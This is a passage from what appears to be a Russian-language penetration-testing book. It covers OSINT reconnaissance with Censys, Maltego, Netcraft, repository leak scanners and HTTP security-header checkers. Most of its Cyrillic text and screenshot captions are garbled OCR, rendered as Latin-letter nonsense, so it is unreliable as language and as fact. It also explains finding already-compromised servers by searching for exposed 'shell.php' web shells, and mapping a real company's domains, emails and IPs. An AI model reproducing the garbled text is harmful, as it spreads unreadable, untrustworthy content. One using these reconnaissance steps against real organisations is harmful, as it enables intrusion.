(parsed.names: «*.whatsapp.com») and tags.raw: «expired»
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[TpuBeaeM elie OfMH UHTEPECHBIN IPUMEp. A eCJIH MIPEAIOJIOKUTD, 4TO BCIO paboTy
3a HAC y’Ke BBITOJHUJIN U 11eJIeBasi crucTeMa B3joMaHa? Takoe BIOJIHE BO3MOYKHO;
OJIHUM H3 [PU3HAKOB B3JIOMAHHOI CUCTEMBbI SIBJISIETCSI HaJU4ne 00Ie0CTYITHOTO
PHP-ckpunTa, KOTOpBIN TpeIoCTaBIgeT JOCTYI K KOMaHIHON cTpoke — shell.
php. ITonpoOyem HaiiTH OTEHIIUAIBHO B3JIOMAaHHbIE CEPBEPbI IIPH IIOMOILHU 3a1Ipoca
services.http.response.body: shell.php. ITocie ananmmsa mepBoTO Xe cepBepa
M3 CITMCKA MBI HAIIJIM CKPUIIT, KOTOPBIN pasMertieH Ha HecTaHaapTHOM ropTe 8076,
na erte u 6e3 mnudpoBaHust, — 9TO U €CTh MHTEPeCyoMnii Hac pe3yJbrat (puc. 3.27).

5 Gmmnte s [ERSMERIE] O aMEHE x Ofmmisy ¢ @ ewsoeni s B o T

-

Kotilina @ KabTools [ RsbDocs BEKMForm 8 KAttt o Coal00  GoogleMacking 9 7, Ommsae

Puc. 3.27. PHP shell Ha HaligeHHOM XocTe

MOJKHO TIpUYMaTh €llle THICAUN TPUMEPOB TIOMCKA WH(DOPMAIUK U €€ UCIOTb30-
BaHM TIPU TIOMOIIN OMMCAHHOTO MHCTPYMEHTA, TOMY MOKHO TIOCBATUTD TIETYIO
OT/IETbHYIO KHUTY. 3aiaveil ke 9TOTO pasjesna ObLIO JUITh KPATKOEe 3HAKOMCTBO
¢ BoamoskHOCTAME Censys, KOTOPOe MOJKHO GBITO Bac 3anHTEpecoBaTh. Best nHbop-
MaIUst O apaMeTpax /s OUCKa HAXOUTCS Ha caiiTe pa3pabOTUMKa, U BB MOJKETE ee
u3yunTh 6e3 crienku. TosbKo yuTuTe, 4T0 B GECIIATHON BEPCUHU €CTh OTPAHUYEHUST
Ha KOJIMUECTBO 3aMPOCOB B JIeHb, HO Be/lb HUKTO JKe HE OTMEHSIJI TaKUe CEPBUCHI, KakK
Firefox Relay nimu AnonAddy, se npasza jiu?

Moarortoska Kali Linux

[Tocsie Toro kak Bbl IO3HAKOMUJIMCH C OHJIAHfH-BepCUell 3TOTo 3aMevaTebHOTro MH-
CTPYMEHTa, BaM HaBEPHsIKa 3ax04eTcst ucroib3oBath ero B Kali Linux. K coskanenuto,
IO YMOJTYaHWTO OH HEJIOCTYTIEH, O/THAKO 9TO He MOMeIaeT HaM B HECKOJIBKO MIaroB
HAaCTPOUTH €TO.

Ha nepsom mrare HeoOX01MMO yCTaHOBUTH HyskHOe T1O.

Maltego — mpumoskere A5 pasBeIKN ¢ OTKPBITBIM HCXOAHBIM KomoM. OHO T10-
3BOJISIET MTOJIYYaTh U COXPAHSATH HH(GOPMAIIIIO U3 PA3JIUYHBIX HCTOUHIKOB, a TAKKE
IPYIIUPOBATH €€ B yIOOHOM, YMTaeMOM BHjie. Mbl 6y/IeM HCTIOJIb30BaTh OECTIIIATHY IO
Bepcuio Community Edition.
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JL71s1 yCcTaHOBKY BBIITOJTHUTE KOMAH/LY:

$sudo apt install malego

@} Recently Used
W Al Applications
Tet Settings
W Usual Applications
Q 01 - Information Gathering
@ 02 - Vulnerability Analysis

03 - Web Application Analysis
@ 04 - Dalabase Assessment
ﬁ 05 - Password Attacks

C60p OTKPbITOM MHGOPMaLIMK O LiEeNn

L3 @l-l IS Anals
b Q-lns_.'|F-5|denti cation
3 Q * Live Host Identificatior

(3 Q = Metwork & Port Scanne

» @), - osINT Analysis
13 Q * Houle A
+ @) - SMB Analysis

» @), - SMTP Analysis

13 Q * SNMP Anz

@D 06 - Wireless Attacks » @L - 5SL Analysis
i) 07 -Re Enginesiiog e dmitr

™ 08 - Exploitation Tools

€2 09 - Sniffing & Spoofing I

& 10 -Post Exploitatio

@ - Forensics

@ 12 - Reporting Tools

& 13- Soclal Engineering Tools

Product Selection

Welcome to Maltego!

We hap anja our product as mus joy bulding it

Please choose how you want to use Maltega:

Malteqgo One

Maltego XL

Activato with key
(! Purchasa

Mallego Classic

Maltego CE (Free)

Maltege One is the new wnified solution to access and sctivate Maltego plans for
Frofeasionals and Enterprises.

Haltege eXtra Large is Paterva’s presmium selution to visualise large data seta and
allows lor more than 10 600 entities in a single gragh.

Maltege Classic I3 a commereial version of Maltege which allows users ta viaualize
up to 10 000 entities in a graph.

I Maltega CE Edition] the 7 will be installed and
«can be run to generate graphs. but the features are limited and the resulting
graphs may not be used for cammercial purpases

Malteqo CaseFile (Free) o Maltegs Caserile graphs can onby be created manually, ne transforms may be
. Mare typea of entities will be instalied and the resulting graphs may be used

for commercial purpases

Puc. 3.29. Mepselit 3anyck Maltego
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[Tocre ycranoBkm mporpamMMma mosiButcst B Mesto (puc. 3.28). IIpu mepBoMm 3amycke
Oy et HeoO6XOAMMO TIpoiiTH peructparmio (puc. 3.29).

IMocsie ycTaHOBKY 06SI3aTEIBHO 3aITyCTUTE MTPOTIECC OOHOBIEHHUSI.

Hawm takske moHazo06sTCs AOTOJTHITEIbHBIE IPOrPaMMbl, a uMeHHO ZMap (6ec-
natHas u 6oJiee ObicTpas aabrepHatusa Nmap) u Python-6ubanoreka Censys.
YcraHoBUM UX, UCTIOJIB3YST KOHCOJbHbIE KOMAH/IbI:

$sudo apt install zmap
$sudo pip install censys

Jlst nosiHoueHHoi pa6othl ¢ Censys HeOOGXOAMMO HOTyunTh Kawod API. lias atoro
HY>KHO TIpOiTH peructpanuio Ha caiite Censys.io. Mcmob3yst co3ianublii aKKayHT,
BOI/IUTE B CUCTEMY, flaiee B HACTPOITKaX akKayHTa OTKpoiiTe paszesn API 1 CKOTTUPYA-
Te API ID u Secret, onu rioHag004TCa HaMm B gajbheiimem (puc. 3.30).

MOBNSYS Gk - | & |t

My Account

AP| Credentials

catel WP
L 1]
St tiamatetsTcamrsecsetl (5]

Rate Limits
ki I e T T BSCARES ) O BT

aplvnsh T4 acBonslusccnd (170 par & it e

Puc. 3.30. Kniouun B paspene API

B Maltego nHeo6xoaumo uHcTanmposaTh KomioneHT iy Censys (puc. 3.31).

B nacTpoiikax KOMIIOHeHTa yKa:KUTe MOJyYeHHbIe Ha MPe/bIyIIeM dTame KI4Yn

(puc. 3.32).

s osryuenus 6oJiee pasBepHyTON HHGOPMAIMN Bl MOJKETE YCTAHOBUTD CIIEAYIO-
e komnonenTsl: CaseFile, PassiveTotal, TreatCrowd, VirusTotal.

Ha maHHBII MOMEHT MBI OCTAHOBUMCS Ha 3TOM Iare, MOCKOJIbKY MCIIOJb30BAHUIO
Maltego Gyer moCBsIeH OTAeTbHBIN pasell.
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F :

® MALTEGO

-Soﬁ\.\riuam..l S:srv.Icni.Advis-orl;s: o i TRATSFORM 1.8 PARINERS  E093 shaw v

Stendard Translom.. Canerile Intkties Maltegn Regex Trane, il Opensancrions
Webinars and Demios - = N o Hakags Tashrolepes [ —— REREX 5 ytags Tuchra ‘ﬁf“ oy P ochammg

e Starcars DT Tramafurmn T e
Pegarcrs

Transform Updates .

Opansanctions Transforms . Acusciba Aberivaul 6T alphaMountain
. TR oy g e b -

T W PP p———

EEOISTH | st sebaniietinn

Tallared Tralning

e tormared Conrvas

Censys App ID

Puc. 3.32. YcTaHOBKa K/toyel B koMrnoHeHTe Censys

Maltego

OpHoll u3 ocHOBHBIX (hyHKIMH Maltego saBisiercst mpezcTaBieHne oGbeKTa, TO eCTh
naeHTHdUKaIMs 1 CBA3bIBaHUE JIAHHBIX U3 HECKOJbKUX HCTOYHUKOB, OTHOCSIINXCS
K OJTHOMY U TOMY K€ JIUILY, OPraHU3alliu 1 T. I1. ITO T103BOJISIET I10Ib30BATEIAM 10-
JIYIUTH MOJTHOE TIPECTABJICHNE O B3AUMOCBSI3SIX MEKY 00BEKTaMU, YTO YIIPOIIAET
BBISIBICHUE 3aKOHOMEPHOCTEH 1 aHOMAJIU.

Maltego Takske nMeeT MHOKECTBO APYTUX (DYHKIUH — 9TO U OTOOPaKEHUE CETH,
U aHAJIU3 COTMATIBHBIX CETEH, ¥ OTCJACKUBAHIE YTEUEK TAHHBIX. ITH (HYHKIIUH O3B0~
JIIIOT CTIENUAIUCTaM 110 6e30MacHOCTH, KPUMUHAIUCTAM U UCCIIEI0BATENSIM OBICTPO
cobuparTh ¥ aHAIM3UPOBATH OOJIbIINE OOBEMbI JAHHBIX JIJISI BBISBJIEHUS YIPo3 0e30-
MACHOCTY WJIN PACKPBITHS CKPbITOH mHopMaru. Maltego obiragaet mupoKuMu
BO3MOKHOCTSIMU HACTPOIKH; Y HEro GOJIbIIoe COOOIIECTBO MOJIb30BaTe e, KOTOPbhIe
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paspabaThIBarOT KOMIIOHEHTHI JIJIS TIPe0OPas0BaHMsT JaHHBIX, THTErPUPYIOT UX C APYTH-
MU MHCTPYMEHTAMU 1 OOMEHUBAIOTCST UMH, YTO JIEJIAET €r0 YHUBEPCATLHBIM U MOTITHBIM
WUHCTPYMEHTOM JIJIst Pa3Be/IkK 1 cObopa MH(MOPMAIIMU U3 OTKPHITBIX HCTOUHUKOB.

ITpottece ycraHOBKY 1 HacTpoiik Maltego yske omucaH B MPEAbILYIIEM pasele,
nocssiienHoM Censys. OCHOBHOM 3aj1aueii 9Toro pasjieia ObLI OKa3 MEPBbIX [IaroB
B 9TOM 3aMeYaTeIbHOM MPOoyKTe. VI Tak, mpe/noiosKuM, 4To BbI 3aITyCTUIIN TIPOTPaM-
my. Tenepsb a/1s Havasa cOopa U BU3yalu3allii JaHHBIX BaM HYKHO CO3/IaTh HOBbII
rpac (puc. 3.33). [l 3TOTO 10CTATOUHO HAKATH KHOMKY New B JIeBOM BEpXHEM YTy
WJIM BOCIIOJIB30BaThCs KoMOuHanmei kiaasur Ctrl+T.

Puc. 3.33. Co3gaHue nepeoro obbekTa B Maltego

[l mpuMepa BO3bMeM CailT OJTHOU 13 aMEPUKAHCKUX KEJIE3HOTOPOKHBIX KOMITAHUI.
B s1eBoif yacT OKHA HaM JIOCTYTTHBI pas3/IMYHble MHCTPYMEHTBI. TOUKO# BXo/1a /17151 Hac
SIBJIIETCST TOMEH, TIOITOMY BBIOEPEM U3 CITHCKA CIieBa MHCTpyMeHT Domain u mepeTta-
UM €T0 B pabode OKHO. B TpaBoM cToJI611e TOCTYTTHBI CBOCTBA BHOBH CO3JIAHHOTO
o6beKTa, 33/1a/[MM Ha3BaHue caiita aus-boxing.com.

Terepb K BHOBb CO3JJaHHOMY OOBEKTY HPUMEHUM KOMIIOHEHT-TpanchopMep
(Transforms). Yto tpoucxoant? KOMIIOHEHT TOJTyYaeT YKa3aHHbII HaMU 00bEKT,
MCXO/IS M3 33/TAHHBIX Pa3pabOTIMKAMU TMPABUI CAMOCTOSITENLHO TIPOBOAUT TIOUCK
uHGOPMAIMN U BBIJIAET PE3YJIBTAT B BUIE HOBBIX, CBSI3AHHBIX 00HEKTOB B Tpade.

[TpumensaTh TpanchopMep MOKHO KO BCEM CO3/aBaeMbiM 0ObekTaM. B nrore mmar
3a [aroM Mbl OyIeM TI0JTy4aTh HOBY1O nH(bopMalmio 06 uccienyemom obbexre. O6-
paTuTE BHUMaHUE, YTO K Pa3HBIM O6'beKTaM MOTYT 6bITb TIPpMMEHEHDBI Pa3HbIE€ TPaHC-
dhopMepbl WK Jake UX OTAe/bHbIe (QYHKIII, T09TOMY HEOOXOMMO YETKO CJIEUTh
32 PaBUJILHOCTBIO THIIA YKA3bIBAEMOTO OOBEKTA.
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Nrak, monpobyeM TPUMEHNUTH K HalleMy 06BheKTy ofiH 3 Tpanchopmepos. s
9TOro B JIEBOM yIJIy BbiOepeM Transforms b Standart Transforms » All Transforms » To
website (puc. 3.34).

& Foamra e B Feemm
B, zevs 350w B, T ot
O Frombe ™ €} Toeen baleaimn

Puc. 3.34. lprmeHeHre nepBoro TpaHcdopmepa

Bpoze 6b1 HUYEro TaKOro MHTEPECHOTO, CKasKeTe Bbl, HO Telepb K BHOBb HOSBUBILIE-
MyCsT KOMIIOHEHTY TonpoOyiiTe mpuMeHnuTh Tpanchopmep To Website Technologies.
Boigesnre HOBbINM 0OBEKT MIETUKOM MbIIIN 1 IpuMennTe Tpancdopmep (puc. 3.35).

ity Editiun 4.3.1

Toam

,,.,......\iq:m-.h B e

Puc. 3.35. lNprMeHeHne TpaHchopMepa K HOBOMY 06BEKTY
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Tereps MBI UMeeM COBEPIEHHO WHYIO KapTUHY. Beero 3a mapy MUHYT MBI TTOJTY -
YU OTPOMHYIO TIOPIHio uHbopMarmu. OcTanoch TOJIbKO PasodpaThes, 4To ¢ Hell
JleJIaTh.

[TonpobyeM HalTH KOHTAKTHYIO HHGOPMALUIO II0Ib30BaTEIeld, HAIIpUMep aapeca
AJIEKTPOHHOM 1mouThL. [[Jist aTOr0 Hcmob3yeM Tparcdopmep To Email Adressess. O6-
patuTe BHUMAHUE, YTO 9TOT TpaHchOpMep HeJIb3sl IPUMEHNUTh K 00bekTy Website,
OJIHAKO OH 3aMedaTesibHo paboTaeT ¢ 00bekToM Domain. DTo JIOrMYHO, BE/Ib IIOYTOBBIE
ajipeca CO3/Ial0TCsI B OIPEIEJICHHOM JIoMeHe 1 ObIBaeT Tak, 4TO afpec caiTa MOKET
He COBMaJaTh ¢ JOMEHOM TIOUYTOBOTO azpeca. Tak, Ha caliT 3alUIIEHHON MOYTHI
Protonmail MoskHO 3aiiTH, HCIIOIB3YST JOMEH proton.me, a TOYTOBBIN SIUK CO3/1aTh
B JloMeHe protonmail.com.

[Tocmotpum, uTo y Hac Beimo (puc. 3.36).

‘ mm::—mﬂ rerie | O @@ | B s ;:::h—.n:u::w— :::-:::;—'hl
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Puc. 3.36. Pe3ynbtaT cbopa NoUTOBbLIX aApecoB AMsl LIeIeBOro AOMEHa

Coracurech, pe3yJIbTaT BIEYATIISET, 0COOEHHO YUUTHIBasK MUHUMATbHBIE TPYI03a-
TpaThl ¥ IpeKpacHoe Tpauyeckoe mpecTaBIcHIeE.

Crout yrnoMsiHyTh etiie ofuy GhyHkimio. Jlo cux mop Mbl paboTaiy ¢ KaxkIbiM 00b-
€KTOM 10 OTeNbHOCTH. Ha Ha4albHBIX 9TAllaX 9TO HE JOCTABJSET 0COOECHHBIX
HeyI06CTB, OTHAKO €CJIH TPEOYETCsT TPUMEHUTH OIHO U TO JKe TeHCTBIE KO MHO-
ruM 00BbeKTaM, TAKOH CIIocod CTaHOBUTCA Kpaiiie HeyaoOHbIM. B HaieM npumepe
K 00bekTy Domain mMbl ipuMeHun GusasTp To DNS Name ji7ist oJTyueHuUs CIIUCKa [0~
MEHHBIX UMeH. Terepb BbiieuM 06a MoTyYeHHbIX JOMeHa U MpuMeHrM GuasTp To
IP Address. B pesyabrate mbl osryuusau [P-aapeca, kK KOTOPbIM IPUBSI3aHbI IaHHbBIE
nomensl (puc. 3.37).
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Puc. 3.37. Pe3ynbTaT 0AHOBPEMEHHOI 06paboTKM HECKOSIbKMX O6BbEKTOB

B kavecTBe BUIIEHKH HA TOPTE pasbepeM ele Oy MHTEPECHYTO BOSMOKHOCTD — aB-
TOMaTHU3aIMI0. BaMm He 06s13aTeIbHO KasK bl pa3 BRIOMPATh KOHKPETHBIN HHCTPYMEHT
JUUTST KasKZIOTO 0OBEKTa, BMECTO ATOTO BB MOKETE TIPUMEHUTD K KOHKPETHOMY 0OBEKTY
Bce TpaHc(OpMepbI OIPeIeIEHHOTO KOMIIOHEHTA, HaXKaB IBOMHYIO CTPEJIOUKY BIIPABO
HAIIPOTUB MHTEPECYIOIEro CIUCKa TPaHC(hOPMEPOB.

ITorpobyeM co3aTh HOBBIN rpad U IPUMEHUTDH Bce TPAaHC(HOPMEPHI U3 CIUCKA
Standart transforms CE x ucciemyemomy nmomery (puc. 3.38).

LTI DT

Puc. 3.38. Pe3ynbTaT npuMeHeHns Bcex TpaHcdopmepos Standart Transforms CE
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B pesyabrate MbI TOTyYHIN OTPOMHOE KOJTMYECTBO MH(pOPMAIIUK, BKITIOUAs T€0JI0-
KallUIo, IOTIOJTHUTEJIbHbIE XOCTbI, HoMepa TesiechOHOB U MHOTroe ipyroe. B atom Mope
nH(opMaIU JIETKO TTOTEPATHCS, TOITOMY TakK JleJiaTh He pekoMenayetcs. Jlyudrie
pa3buTh JaHHbBIE HA HECKOJIBKO rpaoB, 4TOOBI B OTHOM aHATTM3UPOBATH TEXHUYECKUE
JIaHHbIE, 4 B [PYTOM, HAIIPUMEP, 0TOOPasKaTh NH(HOPMATIHIO, HEOOXOAUMYIO JJIst TIPO-
Be/IEHUS COTIMATbHON NHKEHEePHUN.

Ernie o/1Ha BO3MOKHOCTD JIJIst aBTOMATH3AIIMU — TIPUMEHEeHHe poboToB machines. Itot
WUHCTPYMEHT COAEPIKUT BHIOOPOUHBIN HAGOP MpeHAZHAUEHHBIX JJIs PA3HbIX 3a/1a4
tpancdopmepos. [Tonpobyem PUMEHNUTH K HAIlIeMy JI0MeHy Habop TpaHchOpMepos
n3 Machines » Footprint L1. B pe3ysbraTe BMeCTO BCeX BO3MOKHBIX JAHHBIX MBI TTOJTY-
M TOJBKO Te, KOTOPBIE OTHOCSTCS K CeTeBOI MH(MPACTPYKTYpe 11eTeBOTO TOMEHA.
[Mosyunsochk ynrabenbHo, ObICTPO U pakTuuHO (puc. 3.39).

4 0 Weapars T Selef Chblenn R St Besbemaried © - Arvnris ok | G Zvem b0 4 B4 Zawm b
E> T T
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Puc. 3.39. Pe3ynbtaTt pabotsl Footprint L1

Mbl ¢ BaMu ¢jies1aii IIepBble 1aru B 9TOM JJ0CTaTOYHO MHTEPECHOM IIPOrPaMMHOM
MPOJLYKTE; HAJIEIOCh, UTO BaM OH TIOHPaBuJIcs. Bol yike umeere ombit pabotei ¢ Censys,
a B TIPE/IBIYIIEM pasjiesie Mbl CKOH(UTYPUPOBaAJIHN ero it paboTsl ¢ Maltego — mo-
poGyiiTe Terepb, UCIOIb3Ys TOJYYeHHbIE 3HAHWS 1 HABBIKHU, IPUMEHUTH 3TH TPAHC-
dhopMepbI 11T CBOUX COOCTBEHHBIX 3a/1au.

Netcraft

Netcraft — aro cepBuc, npegocrasisionuii neHbopmamio o qoMenax, [P-aapecax,
cepBepax 1 caiitax B untepHere. Cepsuc 0bL1 cosznat B 1995 rozy 1 3a 910 BpeMs cTai
OJIHMM M3 CaMBbIX IIOIYJISIPHBIX HHCTPYMEHTOB it cOopa uH(opManuu B 061acTu
6€e3011aCHOCTH U TeCTUPOBAHUS Ha IIPOHUKHOBEHHUE.
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B komTekcTe TecTupoBanms Ha TpornkHoBeHNE Netcraft MoskeT GBITH NCTIOB30BAH
st cbopa mHbopMaruu o Beb-caiitax u ux uHbpacTpykrype. Tak, cepBuc MoxKeT
MoKa3arhb, Kakast Bepcus BeG-cepBepa U Kakue cepTudukarhl 6e30MacHOCTH UC-
MOJIb3YIOTCH, KAKUe TEXHOJIOTUM TPUMEHSIOTCS JIJI XOCTUHTA caiiTa, KTO SBJISETCA
BJIA/IETIBIIEM JIOMEHA U T. TI.

Ita uHDOPMAIIHS MOJKET GBITH MOJTE3HA TIPH MOMBITKE WACHTUMUIIMPOBATH YSI3BH-
MOCTHU B BEO-TIPUIIOKEHUSIX UJTH CEPBEPAX, CTIOIB3YEMBIX JIJIst XOCTUHTA BeO-CcaliToB.
Hanpumep, 3Hanue Bepcuu BeO-cepBepa MOKET OMOYb HIEHTU(DUIIMPOBATH U3BECT-
HBIE YSI3BUMOCTH B JAHHOM ITPOTPAMMHOM OGECTIEYEHUH U TI03BOJIUTH TECTUPOBIIUKY
MOJIYYUTh HECAHKITMOHUPOBAHHBIN JIOCTYII C UX TIOMOTITBIO.

Kpome Toro, Netcraft momMosker B MONCKE TTOO3PUTEIBHBIX CAITOB, KOTOPBIE MOTYT
GBITH UCTIOJIb30BAHDI JIJIsT (PUIIMHTOBBIX aTaK WJIH PACTIPOCTPAHEHUS BPEJIOHOCHOTO
nporpaMmuoro obecniederusi. CepBrC MOKaKeT, KOTJIa JOMeH OblI 3apEerucTpUpOBaH
1 KaK JI0JITO OH CYIIECTBYET, YTO BAKHO JIUIsT MICHTH(DUKAIUHT (hasIbIITUBBIX BeO-CAlTOB,
KOTOpPbIE 6bIJII/I CO3IaHbl HEJABHO 1 MOTYT 6bITb VCITOJIB30BaHbI 1JIsI MOIIICHHMYECTBA.

Netcraft siBisteTcst 10J1€3HBIM HHCTPYMEHTOM JIJIsT TECTHPOBAHUSI HA TPOHUKHOBEHHE,
MO3BOJIAIONINM CIIEIUATUCTAM TIOJAYUUTh GoJiee ONHYI0 KapThHy 00 uHMPacTpyK-
Type U BeO-IPUTOKEHISX, KOTOPbIE OHU TECTUPYIOT.

B kauectBe 1pumepa BocI1o/1b3yeMcs cepBucoM noucka 110 DNS, i aToro orkpoem
cTpaHully 1oucka https://searchdns.netcraft.com u nonpoGyem HaiiTi HHGOPMALIIO
o siomene amazon.com (puc. 3.40).

[ Hostnames matching am. = | +
2 8 hu

Linux g8 Kali Tools ¥ Kali Docs 3

Hostnames matching amazon.com

» Q search with anather pattern?

First 500 results {showing 1 to 20}

Rank  Site First seen Nethlock as Site Report
kil ‘W amazen.com October 1995 Amazon.com, Int. Linux [}
132 us-east-1.conscle sws amaron.com & Novernber 2012 Amaron Technologies Inc. Linux

300 Fws amazon.com [ December 2005 Amazon.com, Inc. unknown B
23 smicamazoncom December 2013 Amazan.com, inc. Linux B
216 quip-amazon.com & Oatober 2017 Amazon Technologies Inc. Linux -]
235 conschtawsamazen.com B2 Naarch 2009 Amazen Technologies Inc. Linux B
344 docs. aws.amazon.com of Fabuary 2013 Amazon.com, Inc. Linme B
E ) Signinaws.amazen.com & Aupust 2011 Amazon Technolegies Inc. wnknown B
£-r] com [ september 2003 Akamai Ine. Linug ]

Puc. 3.40. Cnncok xoCToB, NMpUHaAnexalmMx AOMEHY amazon.com
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Jlns osydenst 6osree TOAPOOHOH mHMOPMAITHK 00 OTHOM 13 XOCTOB OTKPOEM OTYET
B pasjieJie site report. B aT0M paszesie HaXoauTest camast pasHoobpasHast MHMOPMAIs,
BKJIOYATOIAST JIAHHBIE O IOMEHE, CETEBBIX TAPAMETPaX, UCIIOJIBb3YIOIUXCST HA CTOPOHE
cepBepa U KJIMEHTA TEXHOJOTHUSX, PEMyTaluu Xocta u T. 1. (puc. 3.41).

Site report for http://smile.amazon.com

» @ Look up another site?

share: e W F in H

B Background

shto tiths Amazon.com. Spend less. Smile more,  Dats first seen Dacember 37013
Site rank 219 Wetcraft Risk Rating @ o0 S

Free shippirg on milions of Rems. Get the best of Shopping and Entertanment
with Prime. Engay low prices and great deals on the largest selection of everyday
Description essentials and other products, intluding fashion, home, beauty, electronics,  Primary language English
Alexa Devices, Sporting goceds, tays, automathve, pets, babry, bocks, video
Rames, musical instruments, office supplies, and mare.

B Network
site htpisrsmile.amazon.com & Domain amazon com
Netblock Gwner Amaroncom, Inc.  Nameserver dns-external-mister amaron.com
Mosting company Aimazon Domain registrar matkmonmon.com
Namueserver
Hostil use whaks. markmonior.com
ing colantry = erganisation

Puc. 3.41. OtyeT no xocty smile.amazon.com

Penosutopun ncxogHoro Koaa

GitHub, GitLab u SourceForge siBASIOTCS TOMYISIPHBIME TIAT(HOPMAMHE [IJIsT Xpa-
HEHUST NCXOAHOTO KO/, YIIPaBJEHNs MPOEKTAMN U COBMECTHOI paszpaboTKu 1Ipo-
rpaMMHoro obecnedenns. OQHAKO OHM TaKKe MOTYT COJepKaTh NH(OPMAIHIO,
KOTOpast PE/ICTaBJISAET YIpo3y HH(pOPMAIMOHHON Ge30I1acHOCTH IpeAnpuaTHs. Eciu
BbI 0GHAPYKUIIU, YTO COTPYAHUKHU IIPEALPUATUS UCHOJIb3YIOT KaKOH-1100 13 3TUX
MJIN aHAJIOTUYHBIX PECypCOB, TO HEJTUIITHUM 6yl[eT IOTPATUTDh BPEM:A Ha UX aHAJIN3.
Y70 5TO TO3BOJUT OGHAPYKUTD ?

Pa3paboTunKku MOTYT CIy4ailHO 3arpy3uTh 4yBCTBUTETBHBIE (PACKPBITIE KOTOPBIX
HECET PUCKH JIJIst CYOBEKTA, K KOTOPOMY OHU OTHOCSITCS ) JIAHHBIE, TAKKE KaK TIapOJIH,
kioun API, TokeHb! locTyTia, KOHGUTYpannoHHbie hailib min 6as3bl JaHHDIX.

IIpu ananuse UCXOAHOIO KoJa HAXOAATCS TaKKe YA3BUMOCTH, KaK HEKOPPeKTHAas
o6paboTia ommbok, HebesomacHbie YHKITMN WIH OTCYTCTBYE TIPOBEPKU BBOJIA, a WX
CTOUT ITONBITATHCS UCIIOIB30BATh JIJI TOJIy4eHNS JOCTYIIA.
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MHorma yaaercs mojaydnTh Jaske HHGOPMAIIO 0 BHYTPEHHUX Mpolieccax 1 00 ap-
xuTerType. Ecim Kot i IOKyMeHTaIust, pa3MelieHHble B MyOINYHbIX PETO3UTOPUSIX,
PacKPBIBAIOT JIaHHBIe 00 HHMDPACTPYKTYPE PEATPHUATISL, TO YIIPOIIAET Balry paboTy.

OjiHAaKO yuTHTE, YTO TPOAHATUIUPOBATH BPYUHYIO BB CMOKETE JIUIITb HeOOJIBIIHE Pe-
nosutopun. AHajms 6oJiee-MeHee CePbe3HOTO MPOEKTa OTHUMAET HEITO3BOIUTEIBHO
MHOTO BpeMeHH. /[J1s1 aBTOMaTH3aIIH TTPOIecca HCIOTb3YIOTCS TaKne MHCTPYMEHTH,
kak Gitrob nnu Gitleaks. Ctout Taxke yrmoMsayThb, uto Recon-ng comep:xuT MHO-
JKeCTBO Mozy.eit xuist pabotsr ¢ GitHub.

CkaHepbl 3arofoBKoB 6e30MacHOCTM

Ckamepn! 3ar0JI0BKOB 6€30MacHOCTH — WHCTPYMEHTHI, anaausupyiomue HTTP-
3ar0JI0BKH, OTIIPABJIsieMble CEPBEPOM, U IIPOBEPSIIONINE UX Ha COOTBETCTBUE PEKOMEH-
JlyeMbIM TIpakTuKaM OesoracHocti. OHU MOJIE3HBI BO BPEMsI TeCTa Ha TPOHUKHOBE-
Hute IS MAeHTU(hUKAIINI BOSMOXKHBIX YSI3BBUMOCTEN B KOH(UTYpariy 6e30MacHOCTH
BeO-caiita. Be3yc/0BHO, UCIOJIB30BaHNE TAKUX HHCTPYMEHTOB B OTIPEEIEHHO
CTETIeHN CTUPAET TPAHb MEK/Y TTACCHBHLIM 1 aKTUBHBIM cOOPOM WHGMOPMAIINH, HO
BCe JKe BBI TIPH 9TOM He HATIPSMYIO 06palaeTech K cailTy.

CaMbIMU IOmyJAPHBIMU U IIPOCTBIMU MHCTPYMEHTaAMMU TAKOT'O TUIIA ABJAIOTCA
SecurityHeaders.com (puc. 3.42) u observatory.mozilla.org.

Home About Donate

Security Report Summary
Site: hstpiifnoobes,net/ - (3can again aver himos)
1P Address: 1.23427.214
Repart Time: 12 Apr 2023 14:39:55 UTC
R ) CREe) GRS )
Warning: Grade capped at A, please see wamings below,

Supported By

Probely Quch, you should work on your secunty posture immediatedy: m

Puc. 3.42. PesynbTaT ckaHnpoBaHus SecurityHeaders
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W3 pe3ysTaToB CKaHUPOBAHUA BUJIHO, UTO 11€JIEBOI cepBep IOABEPKEeH MHOXKECTBY
BapPUAHTOB aTaK U He MOYKET CYMTAThCA 3alliniieHHbIM. [laBaiiTe KOPOTKO pacCMOTPUM
3aroJIOBKH, O KOTOPBIX UJIET Peub, U BbI IIOIMeTe, KaKhe aTaKu MOJKHO IIbITaThCs 1C-
M10JIb30BATh TPUMEHUTEIbHO K JAHHOMY CaiTy.

Content-Security-Policy (CSP). TTo3BoJisieT BeO-NIPUIOKEHIIO YKasbiBaTh Opaysepy,
KaKie UCTOYHUKU KOHTEeHTA (CKPUIITHI, U300PaskeH M, CTUINA U T. [.) pa3pelieHbl
nst 3arpy3ku. C ero moMOIIBIO MOKHO MPEAOTBPATUTD BHITIOJHEHNE BPEIOHOC-
HOIO KOJa Ha BeO-CcTpaHulle, HAIPUMED aTaK MeKCAHTOBOrO BBIIOJHEHNs CKPUIL-

ToB (XSS).

X-Content-Type-Options. IIpegoTBpamiaeT aTaku, CBsI3aHHbIE ¢ HEKOPPEKTHBIM OITpejIe-
aenreM MIME-tuna (MIME sniffing). 3nauenue nosniff ykasbiBaet Gpaysepy, 4ToObI
OH He TIBITAJICS MHTEPIPETUPOBATh (hailjibl Ha OCHOBE UX COAEPKUMOTO, a BMECTO
3TOTO IoJsiarasucs Ha ykazanublii MIME-Tum.

X-Frame-Options. Vcrosbayercst st 3auuthr oT atak «clickjacking» (ocymiecrsisie-
MBIX C IIOMOII[BIO [TOIMEHBI 3JIEMEHTOB caiiTa), KOTOPbIe MOTYT IIPUBECTH K HECAHK-
IIHOHUPOBAHHBIM JIEHCTBUAM CO CTOPOHBI 110JIb30BaTeN . 3aroJlOBOK yKa3blBaeT
Gpaysepy, CJelyeT JI pasperarh BCTpauBaHue CoepsKMMOTro Beb-caiita Bo (peiMbl.
3uauenus deny uiau sameorigin MOTYT ObITh UCTIOJb30BAHbI JIJIS TIPEIOTBPAIIIEHUST
BCTPAMBAHUS COAEPKIMOTO BO (hpeiiMbl HA CTOPOHHUX caliTax.

X-XSS-Protection. AKTUBUPYET BCTPOEHHbII B Opay3ep MeXaHU3M 3allUThl OT MeK-
caifToBoro BbinosiHeHust ckpuntoB (XSS). 3uauenue 1; mode=block ykasbiBaer
Gpaysepy OJIOKHPOBATDH CTPaHUILY, eciiv OOHapy:keHa XSS-araka. OHAKO MHOTHE
